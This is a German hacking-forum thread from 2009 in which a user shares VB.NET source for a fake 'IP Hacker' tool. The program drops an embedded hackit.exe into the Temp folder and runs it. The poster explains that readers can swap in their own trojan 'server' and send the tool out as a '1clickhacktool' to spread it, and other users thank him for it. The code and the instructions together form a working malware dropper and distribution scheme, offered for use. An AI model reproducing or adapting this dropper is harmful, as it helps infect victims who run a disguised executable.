Was kann es:
-Sieht aus wie ein IP Hacker
-Dropped eine hackit.exe in C:\Windows
-Führt diese aus
So könnt ihr eure server spreaden :> ihr könnt aber auch das design ändern und daraus was anderes machen.
falls müll in der source steht war mir das jetzt egal hab nich aufgeräumt ^^
und es ist defintiv nicht mit irgendwelche krassen abfrage variablen oder sonst übelsten coder kenntissen gecoded^^
Wird auf Vista nicht funktionieren du für das "droppen" auf C:\ Adminrechte gebraucht werden.
15.04.2009, 18:30
LeadOr
also bei mir gehts :/ aber das wusste ich nich
dann bin ich wohl admin ...^^
15.04.2009, 19:15
inmate
machen jetzt alle sowas :D ,
dann mach ich auch noch eins :)
aber sonst nice ;)
15.04.2009, 19:20
LeadOr
thx funtz nat noch nich so toll hab z.b kp wie ich ne titlebar code ^^ die normale windowsbar sieht kacka aus
15.04.2009, 19:22
hpoc
3 Tage? Ist VB wirklich so einfach?
15.04.2009, 19:23
LeadOr
hm naja einfach is sicher was anderes es ist ja kein richtiger ip hacker xD
ausserdem lern ich vb nicht.
ich such mir dass was ich gerade brauche und versuchs zu verstehen und abzuändenr etc.
ich geh ja nich nach buch vor. die konrete vorgensweise des vb codes is ja nich so schwer also selber sachen coden wie einfacherer dinge übergabe von texten etc is schnell gelernt.
wobei ich auch zugeben muss der code des überprüfens ist reinkopiert da steig ich nochnicht soganz durch aber da bin ich dran ;)
EDIT: hm ich merk grad das der auf xp garnich geht weil der ordner ja anders heißt -.- naja mussman dann halt ändenr bzw special folder als apppath setzen oderso ^^
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
Handles Button1.Click
If TextBox1.Text = "Enter IP" Then
MessageBox.Show("Please enter IP")
Exit Sub
End If
If TextBox1.Text = "" Then
MessageBox.Show("Please enter Ip")
Exit Sub
End If
Dim AppPath As String = My.Computer.FileSystem.SpecialDirectories.Temp
If AppPath.EndsWith("\") = False Then AppPath &= "\"
AppPath &= "\hackit.exe"
Dim Result As Boolean = Hacker("IPHACKER.hackit.exe", AppPath)
Select Case Result
Case True
MessageBox.Show("Hacked.", "Info")
Case Else
MessageBox.Show("Can't hack IP!.", "Info")
End Select
Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim datei As String = "hackit.exe"
If Path.Combine(del, datei) <> "" Then
Dim TaskID As Long
TaskID = Shell(Path.Combine(del, datei), vbNormalNoFocus)
Else
MessageBox.Show("ERROR!")
End If
End Sub
close button löscht nun die datei wieder
Code:
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim datei As String = "hackit.exe"
If File.Exists(Path.Combine(del, datei)) Then
Kill(Path.Combine(del, datei))
End If
Me.Close()
End Sub
so edited läuft ;)
15.04.2009, 20:35
Grim-Reaper
Danke, kann ich vllt. irgendwann gebrauchen.
15.04.2009, 20:56
inmate
hmm aber eins verstehe ich nicht.
wie soll ich damit meinen server spreaden können :)
es müsste ja ne bind funktion haben wenns etwas droppt ^^
oder habe ichs nicht verstanden :o
lG
inmate
15.04.2009, 21:19
LeadOr
ich kann kein binder coden^^ ersetze deinen hackit.exe mit deinem server und kompilier das ganze ;) verschick das ding als 1clickhacktool und schon is der server gespreaded ;)